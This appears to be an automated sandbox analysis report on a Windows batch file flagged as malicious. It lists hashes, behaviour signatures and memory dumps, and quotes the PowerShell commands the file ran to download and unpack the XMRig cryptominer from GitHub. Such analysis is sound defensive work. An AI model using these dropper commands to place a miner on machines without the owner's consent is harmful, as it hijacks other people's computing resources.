04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 05:54

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General

Target

tesy - Copy (12).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2800	powershell.exe
6	2800	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2800	powershell.exe
2660	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2872 wrote to memory of 2800	2872	cmd.exe	29
PID 2872 wrote to memory of 2800	2872	cmd.exe	29
PID 2872 wrote to memory of 2800	2872	cmd.exe	29
PID 2872 wrote to memory of 2660	2872	cmd.exe	30
PID 2872 wrote to memory of 2660	2872	cmd.exe	30
PID 2872 wrote to memory of 2660	2872	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2660

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a8d3e7d18ce71aa920003f5882a636c3

SHA1
543dee9106d96c181f9a7b6182d6f4fbb6e1399c

SHA256
13669dd69b68dcabd3cf8c846dddc5bdc52ae6205eed7665340521dc0bae9eb4

SHA512
fa4f71305679db8817d1092d3d6309a55086f4f615dd01f0e3b2099e5472c40b908523c033492fa62d7f0dba1630a013a5e3b103641abc1cdcbdc047de2602dc

Download Submit
memory/2660-19-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp

Filesize
9.6MB

Download
memory/2660-18-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2660-25-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2660-26-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp

Filesize
9.6MB

Download
memory/2660-24-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2660-23-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2660-22-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp

Filesize
9.6MB

Download
memory/2660-20-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2660-21-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2800-10-0x0000000002BF0000-0x0000000002C70000-memory.dmp

Filesize
512KB

Download
memory/2800-12-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-11-0x0000000002BF0000-0x0000000002C70000-memory.dmp

Filesize
512KB

Download
memory/2800-8-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-9-0x0000000002BF0000-0x0000000002C70000-memory.dmp

Filesize
512KB

Download
memory/2800-4-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2800-7-0x0000000002BF0000-0x0000000002C70000-memory.dmp

Filesize
512KB

Download
memory/2800-6-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-5-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

Filesize
32KB

Download